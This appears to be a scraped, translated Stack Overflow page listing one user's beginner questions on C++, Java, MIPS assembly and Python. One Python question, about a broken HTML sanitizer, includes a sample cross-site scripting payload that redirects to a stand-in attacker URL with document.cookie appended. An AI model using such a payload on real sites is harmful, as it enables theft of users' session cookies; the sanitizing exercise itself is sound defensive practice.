小编pea*_*ear的帖子

如何在C++中轻松格式化数据表?

我不确定,但我想我记得在Java中有一些东西可以指定一个字符串或数字开始离窗口左边有多远.

如何轻松格式化表格?我有这个(使用setw):

Bob Doe     10.96      7.61     14.39      2.11     47.30     14.21     44.58      5.00     60.23
Helen City     10.44      7.78     16.27      1.99     48.92     13.93     53.79      5.00     70.97
Joe Green     10.90      7.33     14.49      2.05     47.91     14.15     44.45      4.70     73.98
Run Code Online (Sandbox Code Playgroud)

理想情况下:

Bob           Doe        BLR  10.96   7.61  14.39   2.11  47.30  14.21  44.58   5.00  60.23  4:27.47
Helen         City       CUB  10.90   7.33  14.49   2.05  47.91  14.15  44.45   4.70  73.98  4:29.17
Joe           Green      USA  10.44   7.78  16.27   1.99  48.92  13.93  53.79   5.00  70.97  5:06.59
Run Code Online (Sandbox Code Playgroud)

计算的唯一方法是什么?还是有一些神奇的更简单的方法?

c++

21
推荐指数
3
解决办法
8万
查看次数

如何将空对矢量推回到另一个向量?

  std::vector<std::vector< std::pair<int, int> > > offset_table;
  for (int i = 0; i < (offset.Width()*offset.Width()); ++i)
  {
    offset_table.push_back(  std::vector< std::pair<int, int> >  );
  }
Run Code Online (Sandbox Code Playgroud)

这是我的代码,但我收到错误:

main.cpp: In function ‘void Compress(const Image<Color>&, Image<bool>&, Image<Color>&, Image<Offset>&)’:
main.cpp:48:66: error: expected primary-expression before ‘)’ token
Run Code Online (Sandbox Code Playgroud)

我不想要成对中的任何值,我只想拥有一个空向量的向量.我该怎么做?

c++ vector push-back std-pair

10
推荐指数
1
解决办法
9142
查看次数

如何在数组中找到并打印最大值的索引?

对于我的项目,我需要创建一个以10个数字作为输入的程序,并显示这些数字的模式.该程序应该使用两个数组和一个方法,该方法将数组作为参数并返回数组中的最大值.

基本上,我到目前为止所使用的是使用第二个数组来跟踪数字出现的次数.查看初始数组,您将看到模式为4.(最多出现的数字).在第二个数组中,索引4的值为2,因此2将是第二个数组中的最大值.我需要在第二个数组中找到这个最大值,然后打印索引.我的输出应为'4'.

我的程序很好,直到我尝试生成'4',我尝试了一些不同的东西,但似乎无法让它正常工作.

感谢您的时间!

public class arrayProject {

public static void main(String[] args) {
    int[] arraytwo = {0, 1, 2, 3, 4, 4, 6, 7, 8, 9};
    projecttwo(arraytwo);
}


public static void projecttwo(int[]array){
    /*Program that takes 10 numbers as input and displays the mode of these numbers. Program should use parallel
     arrays and a method that takes array of numbers as parameter and returns max value in array*/
    int modetracker[] = new int[10];
    int max = 0; int number = …
Run Code Online (Sandbox Code Playgroud)

java arrays for-loop

9
推荐指数
1
解决办法
3万
查看次数

如何正确使用头文件成为一个完整的类?

(初级程序员..)我正在遵循一个工作正常的头文件的样式,但我想弄清楚我在编译时如何继续得到所有这些错误.我在Cygwin中用g ++编译.

Ingredient.h:8:13: error: expected unqualified-id before ‘)’ token
Ingredient.h:9:25: error: expected ‘)’ before ‘n’
Ingredient.h:19:15: error: declaration of ‘std::string <anonymous class>::name’
Ingredient.h:12:14: error: conflicts with previous declaration ‘std::string<anonymous class>::name()’
Ingredient.h:20:7: error: declaration of ‘int <anonymous class>::quantity’
Ingredient.h:13:6: error: conflicts with previous declaration ‘int<anonymous class>::quantity()’
Ingredient.h: In member function ‘std::string<anonymous class>::name()’:
Ingredient.h:12:30: error: conversion from ‘<unresolved overloaded function type>’ to non-scalar type ‘std::string’ requested
Ingredient.h: In member function ‘int<anonymous class>::quantity()’:
Ingredient.h:13:25: error: argument of type ‘int (<anonymous class>::)()’ does not …
Run Code Online (Sandbox Code Playgroud)

c++ class

9
推荐指数
1
解决办法
6707
查看次数

为什么我会在意外标记附近遇到语法错误?命令行参数?

这是我的代码 - 不知道为什么我收到此错误消息:

$ ./main.cpp "hello" "is"
./main.cpp: line 4: syntax error near unexpected token `('
./main.cpp: line 4: `int main(int argc, char *argv[]){'
Run Code Online (Sandbox Code Playgroud)

它在 g++ 中编译得很好,但是当我运行它时,出现上述错误。知道为什么吗?这是我的完整代码..

#include <iostream>
#include <fstream>

int main(int argc, char *argv[]){

    for(int i = 0; i < argc; i++){
        std::cout << argc << " : " << argv[i] << '\n';
    }

    if (argc != 2){
        std::cout << "\nUSAGE: 2 command line arguments please." << std::endl;
        std::cout << "\n   (1) Input file with raw event scores.\n …
Run Code Online (Sandbox Code Playgroud)

c++ input command-line-arguments

4
推荐指数
1
解决办法
2万
查看次数

使用QtSpim时,我在哪里可以看到程序输出以及在哪里可以输入值?

我有我认识的代码(它来自我的教授),但我真的不明白我应该在哪里看到程序输出.我看到寄存器发生了变化等(不是我完全遵循它)但程序应该要求用户输入一个值,我认为它没有办法做到这一点.没有窗口弹出来问我一个值,QtSpim似乎只是坐在那里.我跑了,然后一步一步,但没有任何反应.

这是代码:

# Sample spim program
#

    .data
prompt: .asciiz "Enter in an integer: "
str1:   .asciiz "the answer is: "
newline: .asciiz    "\n"
bye:    .asciiz "Goodbye!\n"
    .globl  main

    .text
main:

    # initialize 
    li  $s0, 10

    # prompt for input
    li  $v0, 4
    la  $a0, prompt
    syscall

    # read in the value
    li  $v0, 5
    syscall
    move    $s0, $v0


loop:   
    # print str1
    li  $v0, 4
    la  $a0, str1
    syscall

    # print loop value
    li  $v0, 1
    move    $a0, $s0 …
Run Code Online (Sandbox Code Playgroud)

assembly qtspim

3
推荐指数
1
解决办法
5021
查看次数

为什么功能不起作用?试图替换字符串中的单词

我试图替换字符串中的一些关键字.这是我的功能:

def clean_code(input):
    input.replace('<script>', " ")
    input.replace('</script>', " ")
    input.replace('<a href>', " ")
    input.replace('</a>', " ")
    input.replace('>', "&gt;")
    input.replace('>', "&lt;")
    return input
Run Code Online (Sandbox Code Playgroud)

这是我的其他代码和字符串:

string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"


print '\nstring1 cleaned of code' 
print '------------------------'
print clean_code(string1)
Run Code Online (Sandbox Code Playgroud)

我的输出如下,我不确定为什么没有改变

string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
Run Code Online (Sandbox Code Playgroud)

python string

2
推荐指数
2
解决办法
4217
查看次数

如何在python中删除列表的后端?

所以对于课程的一部分,我有一个txt文件的给定输入.基本上,我可以给出一个输入字符串

listy = ["Miko's Lounge", '41.2', '56.7', '99th Ave, NY', '3', '4', '5', '2']
Run Code Online (Sandbox Code Playgroud)

我需要对此输入执行的操作是删除地址,并将列表末尾的数字放入列表中的自己的列表中,就像这样.

["Miko's Lounge", '41.2', '56.7', ['3', '4', '5', '2'] ]
Run Code Online (Sandbox Code Playgroud)

我知道我可以使用删除地址listy.pop(3).但是字符串末尾的数字可能会有所不同!这些代表星级,有些地方的星级评分高于其他地方.有没有我可以从列表中的certian点删除所有索引,就像函数一样slice(),是什么?

我一直在尝试使用range函数的for循环,但它似乎没有正常工作(或我期望它).

listy = ['1', '2', '3', '4', '5']


for i in range( 2 , len(listy)-1 ):
    listy.pop(i)

print listy
Run Code Online (Sandbox Code Playgroud)

我得到的是作为输出:

['1', '2', '4']
Run Code Online (Sandbox Code Playgroud)

当我想要获得更多的东西:

['1', '2']
Run Code Online (Sandbox Code Playgroud)

'4'那里的随机原因是什么?我不明白这个范围的事情!我想念java的简单for循环-_-

python list range

2
推荐指数
1
解决办法
5435
查看次数

子串输出不如预期?

小问题.使用我从文本文件转换的字符串:

std::string content((std::istreambuf_iterator<char>(istr) ), 
                        (std::istreambuf_iterator<char>() ) );
Run Code Online (Sandbox Code Playgroud)

打印时,看起来像:

@....@........@......@....................@....@...............@..........@..@......
@....@..@@@...@......@.......@@@..........@....@..@@@....@@@...@..........@..@......
@@@@@@.@...@..@......@......@...@.........@....@.@...@..@......@.......@@@@..@......
@....@.@@@@...@......@......@...@.........@....@.@...@..@......@......@...@..@......
@....@.@......@......@......@...@.........@.@@.@.@...@..@......@......@...@.........
@....@..@@@@...@@.....@@.....@@@...........@..@...@@@...@.......@@.....@@@@..@......
....................................................................................
Run Code Online (Sandbox Code Playgroud)

然而,当我在这里使用此代码时:

    for (int i = 0; i < (content.length()-6); i++){
        std::string w = content.substr(i, 6);
        std::cout << w << '\n';
    }
Run Code Online (Sandbox Code Playgroud)

我按照自己的意愿获得了许多子串,但它们并不像我预期的那样.我的意图是有一些看起来像这样的东西(作为第一行的例子):

@....@
......
..@...
...@..
......
......
......
@....@
......
......
...@..
......
..@..@
......
Run Code Online (Sandbox Code Playgroud)

相反,我相信:

@....@
....@.
...@..
..@...
.@....
@.....
......
......
......
.....@
....@.
...@..
..@...
.@....
Run Code Online (Sandbox Code Playgroud)

我不确定为什么会这样,也许我认为substr做的事情不是吗?我只想获得第一行的前6个字母,然后是下一个6和下一个字母,依此类推,继续到字符串的第二行.

谢谢您的帮助!

c++ string algorithm substring

0
推荐指数
1
解决办法
117
查看次数

为什么下划线并非全部从列表中删除?蟒蛇

可能重复:
从Python列表中删除值的所有出现

列表:

char = ['a', '_', '_', 'b' ]
Run Code Online (Sandbox Code Playgroud)

如何从列表中删除所有'_'实例,因此最终看起来像:

char = ['a', 'b' ] 
Run Code Online (Sandbox Code Playgroud)

我试过了:

char.remove('_')
Run Code Online (Sandbox Code Playgroud)

这给了我:

char = ['a', '_', 'b']
Run Code Online (Sandbox Code Playgroud)

为什么会这样,我怎样才能删除列表中的所有下划线?

python list char

-2
推荐指数
1
解决办法
221
查看次数